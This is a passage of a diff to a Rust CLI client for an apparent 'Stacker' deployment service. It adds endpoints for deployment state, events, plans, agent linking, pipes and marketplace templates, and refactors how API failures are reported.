                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
-        Ok(api.list.unwrap_or_default())
+        Ok(api.item)
     }
 
-    /// Get a single marketplace template by slug.
-    pub async fn get_marketplace_template(
+    /// Fetch canonical deployment state by deployment hash.
+    /// Returns `GET /api/v1/deployments/{deployment_hash}/state`.
+    pub async fn get_deployment_state_by_hash(
         &self,
-        slug: &str,
-    ) -> Result<Option<MarketplaceTemplate>, CliError> {
-        let url = format!("{}/marketplace/{}", self.base_url, slug);
+        deployment_hash: &str,
+    ) -> Result<Option<DeploymentState>, CliError> {
+        let url = format!(
+            "{}/api/v1/deployments/{}/state",
+            self.base_url, deployment_hash
+        );
         let resp = self
             .http
             .get(&url)
@@ -1050,7 +2105,7 @@ impl StackerClient {
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
@@ -1062,87 +2117,113 @@ impl StackerClient {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Marketplace template fetch failed ({}): {}",
-                    status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/{deployment_hash}/state"),
+                    status,
+                    &body,
                 ),
             });
         }
 
-        let api: ApiResponse<MarketplaceTemplate> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+        let api: ApiResponse<DeploymentState> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         Ok(api.item)
     }
 
-    // ── Deploy ───────────────────────────────────────
-
-    /// Deploy a project. If `cloud_id` is provided, uses saved cloud credentials.
-    pub async fn deploy(
+    /// Fetch structured deployment events by deployment hash.
+    pub async fn get_deployment_events_by_hash(
         &self,
-        project_id: i32,
-        cloud_id: Option<i32>,
-        deploy_form: serde_json::Value,
-    ) -> Result<DeployResponse, CliError> {
-        let url = match cloud_id {
-            Some(cid) => format!("{}/project/{}/deploy/{}", self.base_url, project_id, cid),
-            None => format!("{}/project/{}/deploy", self.base_url, project_id),
-        };
-
+        deployment_hash: &str,
+    ) -> Result<Option<DeploymentEventFeed>, CliError> {
+        let url = format!(
+            "{}/api/v1/deployments/{}/events",
+            self.base_url, deployment_hash
+        );
         let resp = self
             .http
-            .post(&url)
+            .get(&url)
             .bearer_auth(&self.token)
-            .json(&deploy_form)
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
+        if resp.status().as_u16() == 404 {
+            return Ok(None);
+        }
+
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server deploy failed ({}): {}",
-                    status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/{deployment_hash}/events"),
+                    status,
+                    &body,
                 ),
             });
         }
 
-        resp.json::<DeployResponse>().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Invalid deploy response from Stacker server: {}", e),
-            }
-        })
-    }
+        let api: ApiResponse<DeploymentEventFeed> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
 
-    // ── Deployment status ────────────────────────────
+        Ok(api.item)
+    }
 
-    /// Fetch deployment status by deployment ID.
-    /// Returns `GET /api/v1/deployments/{id}`.
-    pub async fn get_deployment_status(
+    /// Fetch a read-only deployment plan by deployment hash.
+    pub async fn get_deployment_plan_by_hash(
         &self,
-        deployment_id: i32,
-    ) -> Result<Option<DeploymentStatusInfo>, CliError> {
-        let url = format!("{}/api/v1/deployments/{}", self.base_url, deployment_id);
+        deployment_hash: &str,
+        operation: DeployPlanOperation,
+        target: &str,
+        app_code: Option<&str>,
+        rollback_target: Option<&str>,
+        expected_fingerprint: Option<&str>,
+    ) -> Result<Option<DeployPlan>, CliError> {
+        let url = format!(
+            "{}/api/v1/deployments/{}/plan",
+            self.base_url, deployment_hash
+        );
+        let mut query = vec![
+            (
+                "operation".to_string(),
+                serde_json::to_string(&operation)
+                    .unwrap()
+                    .trim_matches('"')
+                    .to_string(),
+            ),
+            ("target".to_string(), target.to_string()),
+        ];
+        if let Some(app_code) = app_code.filter(|value| !value.trim().is_empty()) {
+            query.push(("appCode".to_string(), app_code.to_string()));
+        }
+        if let Some(rollback_target) = rollback_target.filter(|value| !value.trim().is_empty()) {
+            query.push(("rollbackTarget".to_string(), rollback_target.to_string()));
+        }
+        if let Some(fingerprint) = expected_fingerprint.filter(|value| !value.trim().is_empty()) {
+            query.push(("expectedFingerprint".to_string(), fingerprint.to_string()));
+        }
+
         let resp = self
             .http
             .get(&url)
+            .query(&query)
             .bearer_auth(&self.token)
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
@@ -1153,18 +2234,22 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
+            if let Some(error) = parse_typed_error_response(&body) {
+                return Err(error.into());
+            }
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server GET /api/v1/deployments/{} failed ({}): {}",
-                    deployment_id, status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/{deployment_hash}/plan"),
+                    status,
+                    &body,
                 ),
             });
         }
 
-        let api: ApiResponse<DeploymentStatusInfo> =
+        let api: ApiResponse<DeployPlan> =
             resp.json().await.map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
             })?;
 
@@ -1188,7 +2273,7 @@ impl StackerClient {
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Stacker server unreachable: {}", e),
             })?;
 
@@ -1200,17 +2285,18 @@ impl StackerClient {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server GET /api/v1/deployments/project/{} failed ({}): {}",
-                    project_id, status, body
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/project/{project_id}"),
+                    status,
+                    &body,
                 ),
             });
         }
 
         let api: ApiResponse<DeploymentStatusInfo> =
             resp.json().await.map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
             })?;
 
@@ -1225,10 +2311,7 @@ impl StackerClient {
         &self,
         hash: &str,
     ) -> Result<Option<DeploymentStatusInfo>, CliError> {
-        let url = format!(
-            "{}/api/v1/deployments/hash/{}",
-            self.base_url, hash
-        );
+        let url = format!("{}/api/v1/deployments/hash/{}", self.base_url, hash);
         let resp = self
             .http
             .get(&url)
@@ -1249,9 +2332,10 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "GET /api/v1/deployments/hash/{} failed ({}): {}",
-                    hash, status, body
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/deployments/hash/{hash}"),
+                    status,
+                    &body,
                 ),
             });
         }
@@ -1297,9 +2381,12 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Force-complete failed ({}): {}",
-                    status, body
+                reason: stacker_api_failure_with_message(
+                    "Force-complete failed",
+                    &format!("POST /api/v1/deployments/{deployment_id}/force-complete"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
                 ),
             });
         }
@@ -1321,6 +2408,66 @@ impl StackerClient {
     /// Enqueue a command for the Status Panel agent on a deployment.
     ///
     /// `POST /api/v1/agent/commands/enqueue`
+    /// Link an agent to a deployment using the CLI's stored OAuth token.
+    ///
+    /// `POST /api/v1/agent/link`
+    ///
+    /// Returns `(agent_id, agent_token, deployment_hash)` — the credentials the
+    /// status-panel binary needs in its `.env` to start polling for commands.
+    pub async fn agent_link(
+        &self,
+        deployment_hash: &str,
+        server_fingerprint: serde_json::Value,
+    ) -> Result<(String, String, String), CliError> {
+        let url = format!("{}/api/v1/agent/link", self.base_url);
+
+        let body = serde_json::json!({
+            "session_token": self.token,
+            "deployment_id": deployment_hash,
+            "server_fingerprint": server_fingerprint,
+            "capabilities": ["status_panel", "compose_agent"],
+        });
+
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Stacker server unreachable: {}", e))
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Agent link failed",
+                    "POST /api/v1/agent/link",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        #[derive(serde::Deserialize)]
+        struct LinkResp {
+            agent_id: String,
+            agent_token: String,
+            deployment_hash: String,
+        }
+
+        let link: LinkResp = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid link response: {}", e)))?;
+
+        Ok((link.agent_id, link.agent_token, link.deployment_hash))
+    }
+
     pub async fn agent_enqueue(
         &self,
         request: &AgentEnqueueRequest,
@@ -1343,15 +2490,23 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::AgentCommandFailed {
                 command_id: String::new(),
-                error: format!("Enqueue failed ({}): {}", status, body),
+                error: stacker_api_failure_with_message(
+                    "Enqueue failed",
+                    "POST /api/v1/agent/commands/enqueue",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
             });
         }
 
         let api: ApiResponse<AgentCommandInfo> =
-            resp.json().await.map_err(|e| CliError::AgentCommandFailed {
-                command_id: String::new(),
-                error: format!("Invalid enqueue response: {}", e),
-            })?;
+            resp.json()
+                .await
+                .map_err(|e| CliError::AgentCommandFailed {
+                    command_id: String::new(),
+                    error: format!("Invalid enqueue response: {}", e),
+                })?;
 
         api.item.ok_or_else(|| CliError::AgentCommandFailed {
             command_id: String::new(),
@@ -1394,15 +2549,23 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::AgentCommandFailed {
                 command_id: command_id.to_string(),
-                error: format!("Status check failed ({}): {}", status, body),
+                error: stacker_api_failure_with_message(
+                    "Status check failed",
+                    &format!("GET /api/v1/commands/{deployment_hash}/{command_id}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
             });
         }
 
         let api: ApiResponse<AgentCommandInfo> =
-            resp.json().await.map_err(|e| CliError::AgentCommandFailed {
-                command_id: command_id.to_string(),
-                error: format!("Invalid status response: {}", e),
-            })?;
+            resp.json()
+                .await
+                .map_err(|e| CliError::AgentCommandFailed {
+                    command_id: command_id.to_string(),
+                    error: format!("Invalid status response: {}", e),
+                })?;
 
         api.item.ok_or_else(|| CliError::AgentCommandFailed {
             command_id: command_id.to_string(),
@@ -1424,8 +2587,7 @@ impl StackerClient {
         let command_id = info.command_id.clone();
         let deployment_hash = request.deployment_hash.clone();
 
-        let deadline =
-            tokio::time::Instant::now() + std::time::Duration::from_secs(timeout_secs);
+        let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout_secs);
         let interval = std::time::Duration::from_secs(poll_interval_secs);
 
         let mut last_status = "pending".to_string();
@@ -1487,7 +2649,13 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::AgentCommandFailed {
                 command_id: String::new(),
-                error: format!("Snapshot failed ({}): {}", status, body),
+                error: stacker_api_failure_with_message(
+                    "Snapshot failed",
+                    &format!("GET /api/v1/agent/deployments/{deployment_hash}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
             });
         }
 
@@ -1523,14 +2691,21 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("GET /api/v1/agent/project/{} failed ({}): {}", project_id, status, body),
+                reason: stacker_api_failure(
+                    &format!("GET /api/v1/agent/project/{project_id}"),
+                    status,
+                    &body,
+                ),
             });
         }
 
-        let json: serde_json::Value = resp.json().await.map_err(|e| CliError::AgentCommandFailed {
-            command_id: String::new(),
-            error: format!("Invalid project snapshot response: {}", e),
-        })?;
+        let json: serde_json::Value =
+            resp.json()
+                .await
+                .map_err(|e| CliError::AgentCommandFailed {
+                    command_id: String::new(),
+                    error: format!("Invalid project snapshot response: {}", e),
+                })?;
 
         // Extract deployment_hash from the nested agent object
         let hash = json
@@ -1540,15 +2715,64 @@ impl StackerClient {
             .and_then(|a| a.get("deployment_hash"))
             .and_then(|v| v.as_str())
             .map(|s| s.to_string())
-            .ok_or_else(|| CliError::ConfigValidation(
-                "No active agent found for this project. \
+            .ok_or_else(|| {
+                CliError::ConfigValidation(
+                    "No active agent found for this project. \
                  The agent may be offline or not yet deployed."
-                    .to_string(),
-            ))?;
+                        .to_string(),
+                )
+            })?;
 
         Ok((json, hash))
     }
 
+    /// Fetch deployment agent capabilities.
+    ///
+    /// `GET /api/v1/deployments/{deployment_hash}/capabilities`
+    pub async fn deployment_capabilities(
+        &self,
+        deployment_hash: &str,
+    ) -> Result<DeploymentCapabilitiesInfo, CliError> {
+        let url = format!(
+            "{}/api/v1/deployments/{}/capabilities",
+            self.base_url, deployment_hash
+        );
+        let resp = self
+            .http
+            .get(&url)
+            .bearer_auth(&self.token)
+            .send()
+            .await
+            .map_err(|e| {
+                CliError::ConfigValidation(format!(
+                    "Failed to fetch deployment capabilities: {}",
+                    e
+                ))
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Capabilities lookup failed",
+                    &format!("GET /api/v1/deployments/{deployment_hash}/capabilities"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        let api: ApiResponse<DeploymentCapabilitiesInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid deployment capabilities response: {}", e))
+        })?;
+
+        api.item.ok_or_else(|| {
+            CliError::ConfigValidation("Empty deployment capabilities response".to_string())
+        })
+    }
+
     // ── Pipe management ─────────────────────────────
 
     /// List pipe instances for a deployment.
@@ -1568,19 +2792,61 @@ impl StackerClient {
             .bearer_auth(&self.token)
             .send()
             .await
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to list pipes: {}", e)))?;
+            .map_err(|e| CliError::ConfigValidation(format!("Failed to list pipes: {}", e)))?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "List pipes failed",
+                    &format!("GET /api/v1/pipes/instances/{deployment_hash}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        let api: ApiResponse<PipeInstanceInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid pipe list response: {}", e))
+        })?;
+
+        Ok(api.list.unwrap_or_default())
+    }
+
+    /// List local pipe instances for the current user.
+    ///
+    /// `GET /api/v1/pipes/instances/local`
+    pub async fn list_local_pipe_instances(&self) -> Result<Vec<PipeInstanceInfo>, CliError> {
+        let url = format!("{}/api/v1/pipes/instances/local", self.base_url);
+        let resp = self
+            .http
+            .get(&url)
+            .bearer_auth(&self.token)
+            .send()
+            .await
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to list local pipes: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "List pipes failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "List local pipes failed",
+                    "GET /api/v1/pipes/instances/local",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeInstanceInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid pipe list response: {}", e)))?;
+        let api: ApiResponse<PipeInstanceInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid local pipe list response: {}", e))
+        })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -1610,14 +2876,21 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Get pipe failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Get pipe failed",
+                    &format!("GET /api/v1/pipes/instances/detail/{instance_id}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeInstanceInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid pipe response: {}", e)))?;
+        let api: ApiResponse<PipeInstanceInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid pipe response: {}", e)))?;
 
         Ok(api.item)
     }
@@ -1637,21 +2910,31 @@ impl StackerClient {
             .json(request)
             .send()
             .await
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create pipe template: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create pipe template: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Create pipe template failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Create pipe template failed",
+                    "POST /api/v1/pipes/templates",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeTemplateInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid template response: {}", e)))?;
+        let api: ApiResponse<PipeTemplateInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid template response: {}", e)))?;
 
-        api.item.ok_or_else(|| CliError::ConfigValidation("Empty template response".to_string()))
+        api.item
+            .ok_or_else(|| CliError::ConfigValidation("Empty template response".to_string()))
     }
 
     /// Create a pipe instance.
@@ -1669,21 +2952,31 @@ impl StackerClient {
             .json(request)
             .send()
             .await
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create pipe instance: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create pipe instance: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Create pipe instance failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Create pipe instance failed",
+                    "POST /api/v1/pipes/instances",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeInstanceInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid instance response: {}", e)))?;
+        let api: ApiResponse<PipeInstanceInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid instance response: {}", e)))?;
 
-        api.item.ok_or_else(|| CliError::ConfigValidation("Empty instance response".to_string()))
+        api.item
+            .ok_or_else(|| CliError::ConfigValidation("Empty instance response".to_string()))
     }
 
     /// Update pipe instance status.
@@ -1706,21 +2999,31 @@ impl StackerClient {
             .json(&body)
             .send()
             .await
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to update pipe status: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to update pipe status: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status_code = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Update pipe status failed ({}): {}",
-                status_code, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Update pipe status failed",
+                    &format!("PUT /api/v1/pipes/instances/{instance_id}/status"),
+                    status_code,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeInstanceInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid status response: {}", e)))?;
+        let api: ApiResponse<PipeInstanceInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid status response: {}", e)))?;
 
-        api.item.ok_or_else(|| CliError::ConfigValidation("Empty status response".to_string()))
+        api.item
+            .ok_or_else(|| CliError::ConfigValidation("Empty status response".to_string()))
     }
 
     /// List pipe templates visible to the current user.
@@ -1755,14 +3058,20 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "List templates failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "List templates failed",
+                    "GET /api/v1/pipes/templates",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeTemplateInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid templates response: {}", e)))?;
+        let api: ApiResponse<PipeTemplateInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid templates response: {}", e))
+        })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -1793,14 +3102,20 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "List executions failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "List executions failed",
+                    &format!("GET /api/v1/pipes/instances/{instance_id}/executions"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeExecutionInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid executions response: {}", e)))?;
+        let api: ApiResponse<PipeExecutionInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid executions response: {}", e))
+        })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -1812,10 +3127,7 @@ impl StackerClient {
         &self,
         execution_id: &str,
     ) -> Result<Option<PipeExecutionInfo>, CliError> {
-        let url = format!(
-            "{}/api/v1/pipes/executions/{}",
-            self.base_url, execution_id
-        );
+        let url = format!("{}/api/v1/pipes/executions/{}", self.base_url, execution_id);
         let resp = self
             .http
             .get(&url)
@@ -1831,14 +3143,20 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Get execution failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Get execution failed",
+                    &format!("GET /api/v1/pipes/executions/{execution_id}"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeExecutionInfo> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid execution response: {}", e)))?;
+        let api: ApiResponse<PipeExecutionInfo> = resp.json().await.map_err(|e| {
+            CliError::ConfigValidation(format!("Invalid execution response: {}", e))
+        })?;
 
         Ok(api.item)
     }
@@ -1860,21 +3178,78 @@ impl StackerClient {
             .bearer_auth(&self.token)
             .send()
             .await
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to replay execution: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to replay execution: {}", e))
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Replay failed",
+                    &format!("POST /api/v1/pipes/executions/{execution_id}/replay"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        let api: ApiResponse<PipeReplayResponse> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid replay response: {}", e)))?;
+
+        api.item
+            .ok_or_else(|| CliError::ConfigValidation("No replay response returned".to_string()))
+    }
+
+    /// Deploy (promote) a local pipe instance to a remote deployment.
+    ///
+    /// `POST /api/v1/pipes/instances/{instance_id}/deploy`
+    pub async fn deploy_pipe(
+        &self,
+        instance_id: &str,
+        deployment_hash: &str,
+    ) -> Result<PipeInstanceInfo, CliError> {
+        let url = format!(
+            "{}/api/v1/pipes/instances/{}/deploy",
+            self.base_url, instance_id
+        );
+        let body = DeployPipeApiRequest {
+            deployment_hash: deployment_hash.to_string(),
+        };
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Failed to deploy pipe: {}", e)))?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::ConfigValidation(format!(
-                "Replay failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::ConfigValidation(
+                stacker_api_failure_with_message(
+                    "Deploy failed",
+                    &format!("POST /api/v1/pipes/instances/{instance_id}/deploy"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<PipeReplayResponse> =
-            resp.json().await.map_err(|e| CliError::ConfigValidation(format!("Invalid replay response: {}", e)))?;
+        let api: ApiResponse<PipeInstanceInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid deploy response: {}", e)))?;
 
-        api.item.ok_or_else(|| CliError::ConfigValidation("No replay response returned".to_string()))
+        api.item
+            .ok_or_else(|| CliError::ConfigValidation("No deploy response returned".to_string()))
     }
 
     // ── Marketplace (creator) ────────────────────────
@@ -1888,15 +3263,22 @@ impl StackerClient {
             .bearer_auth(&self.token)
             .send()
             .await
-            .map_err(|e| CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)))?;
+            .map_err(|e| {
+                CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::MarketplaceFailed(format!(
-                "GET /api/templates/mine failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Marketplace submissions fetch failed",
+                    "GET /api/templates/mine",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
         let api: ApiResponse<MarketplaceTemplateInfo> = resp.json().await.map_err(|e| {
@@ -1918,15 +3300,22 @@ impl StackerClient {
             .bearer_auth(&self.token)
             .send()
             .await
-            .map_err(|e| CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)))?;
+            .map_err(|e| {
+                CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::MarketplaceFailed(format!(
-                "GET /api/templates/{}/reviews failed ({}): {}",
-                template_id, status, body
-            )));
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Marketplace reviews fetch failed",
+                    &format!("GET /api/templates/{template_id}/reviews"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
         let api: ApiResponse<MarketplaceReviewInfo> = resp.json().await.map_err(|e| {
@@ -1954,15 +3343,21 @@ impl StackerClient {
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::MarketplaceFailed(format!(
-                "Create template failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Create template failed",
+                    "POST /api/templates",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
-        let api: ApiResponse<MarketplaceTemplateInfo> = resp.json().await.map_err(|e| {
-            CliError::MarketplaceFailed(format!("create template response: {}", e))
-        })?;
